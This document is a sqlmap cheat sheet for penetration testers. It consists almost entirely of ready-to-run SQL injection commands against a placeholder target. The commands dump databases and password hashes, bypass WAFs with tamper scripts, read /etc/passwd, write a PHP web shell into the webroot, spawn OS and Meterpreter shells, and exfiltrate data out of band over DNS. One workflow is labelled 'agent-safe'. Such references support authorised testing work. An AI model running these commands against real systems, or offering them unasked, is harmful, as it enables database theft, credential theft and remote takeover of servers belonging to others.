Sqlmap

sqlmap

Automated SQL injection detection and exploitation.

Quick Start

# Test GET parameter
sqlmap -u "http://target.com/item?id=1"

# Test POST request (from Burp)
sqlmap -r request.txt --batch

# Test with cookies
sqlmap -u "http://target.com/page" --cookie="session=abc123" --data="id=1"

Core Flags

Level vs Risk (Critical Distinction)

--level (1-5) — where to inject:

• 1: GET/POST params only
• 2: + Cookie values
• 3: + User-Agent and Referer headers
• 5: + Host and all other locations

--risk (1-3) — how dangerous the payloads are:

• 1: Safe (boolean, UNION, error-based)
• 2: + Heavy time-based blind queries
• 3: + OR-based (can modify data — dangerous on production)

Injection Techniques

# Force error-based + union only (faster)
sqlmap -u "http://target.com/page?id=1" --technique=EU

# Time-based only (when others fail)
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=3

# Out-of-band via DNS (when WAF blocks HTTP responses)
sqlmap -r req.txt --technique=Q --dns-domain=your.burpcollaborator.net --dbs

Enumeration Commands

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Enumerate tables in a database
sqlmap -u "http://target.com/page?id=1" -D target_db --tables

# Enumerate columns
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --columns

# Dump a table
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump

# Dump specific columns
sqlmap -u "http://target.com/page?id=1" -D target_db -T users -C "username,password" --dump

# Dump all databases (use carefully)
sqlmap -u "http://target.com/page?id=1" --dump-all --exclude-sysdbs

# Current DB/User/Hostname
sqlmap -u "http://target.com/page?id=1" --current-db --current-user --hostname

# Check for DBA privileges
sqlmap -u "http://target.com/page?id=1" --is-dba

# List users + password hashes
sqlmap -u "http://target.com/page?id=1" --users --passwords

WAF Bypass (Tamper Scripts)

# List all tamper scripts
sqlmap --list-tampers

# Apply tamper script
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# Stack multiple tampers
sqlmap -u "http://target.com/page?id=1" \
    --tamper="space2comment,between,randomcase"

File Read / Write

# Read server file (requires FILE privilege on MySQL)
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-read="C:/Windows/win.ini"

# Write file to server (requires writable webroot)
sqlmap -u "http://target.com/page?id=1" \
    --file-write="shell.php" \
    --file-dest="/var/www/html/shell.php"

OS Interaction (Escalation)

# Interactive OS shell (via stacked queries / LOAD_FILE / xp_cmdshell)
sqlmap -u "http://target.com/page?id=1" --os-shell

# OS command execution (single command)
sqlmap -u "http://target.com/page?id=1" --os-cmd="id"

# SQL shell (raw SQL queries)
sqlmap -u "http://target.com/page?id=1" --sql-shell

# Meterpreter / Cobalt Strike shell via OS shell
# (--os-pwn: requires Metasploit)
sqlmap -u "http://target.com/page?id=1" --os-pwn

Common Workflows

# From Burp capture (most reliable):
# Right-click request → Save → request.txt
sqlmap -r request.txt --batch --level=3 --risk=2 --dbs

# Agent-safe conservative baseline for a known parameter
sqlmap -u "http://target.com/item?id=1" -p id --batch --level=2 --risk=1 --threads=5 --timeout=10 --retries=1 --random-agent

# POST form:
sqlmap -u "http://target.com/login" \
    --data="username=admin&password=test" \
    -p username --batch --dbs

# Cookie injection:
sqlmap -u "http://target.com/dashboard" \
    --cookie="user_id=5; session=abc" \
    -p user_id --batch

# JSON body:
sqlmap -u "http://target.com/api/search" \
    --data='{"id": "1"}' \
    --headers="Content-Type: application/json" \
    -p id --batch

# Header injection (User-Agent, Referer, X-Forwarded-For):
sqlmap -u "http://target.com/page" \
    --level=3 --batch
    # level 3+ automatically tests headers

# Through Burp proxy (for traffic review):
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch

# Second-order injection:
sqlmap -u "http://target.com/register" \
    --data="username=INJECTHERE&email=x@x.com" \
    --second-url="http://target.com/profile" \
    --second-req=profile_request.txt

Advanced Injection

# CSRF token bypass (auto re-fetch token before each request)
sqlmap -r req.txt --csrf-token="csrf_token" --csrf-url="http://target.com/login"

# Dynamic parameter via Python eval (compute token per request)
sqlmap -r req.txt --eval="import hashlib; token=hashlib.md5(id.encode()).hexdigest()"

# Crawl site for forms automatically
sqlmap -u "http://target.com/" --crawl=3 --forms --batch

# Direct DB connection (no HTTP layer needed)
sqlmap -d "mysql://root:password@192.168.1.100/testdb" --dump-all

# REST URL with injection point marked
sqlmap -u "http://target.com/users/1*/profile" --batch

# Inject in headers explicitly
sqlmap -r req.txt --headers="X-Forwarded-For: 127.0.0.1*"

Speed Optimization

# Faster scan (increase threads, use UNION/error first)
sqlmap -r request.txt --batch \
    --dbms=mysql \
    --technique=EU \
    --threads=10 \
    --level=1 --risk=1

# Enable all optimizations at once
sqlmap -r request.txt -o --batch

# Skip slow time-based if others available
sqlmap -r request.txt --batch --technique=EUS

# Reduce wait time for time-based
sqlmap -r request.txt --time-sec=2

# Skip heuristics, only test known technique
sqlmap -r request.txt --test-filter="MySQL UNION"

# Run thorough tests only when heuristics positive
sqlmap -r request.txt --smart

# Speed up blind using predicted common outputs
sqlmap -r request.txt --predict-output

Cleanup

# Purge all session/output data
sqlmap --purge

# Force fresh scan (ignore cached session)
sqlmap -r req.txt --fresh-queries

# Flush session for specific target
sqlmap -r req.txt --flush-session

Resources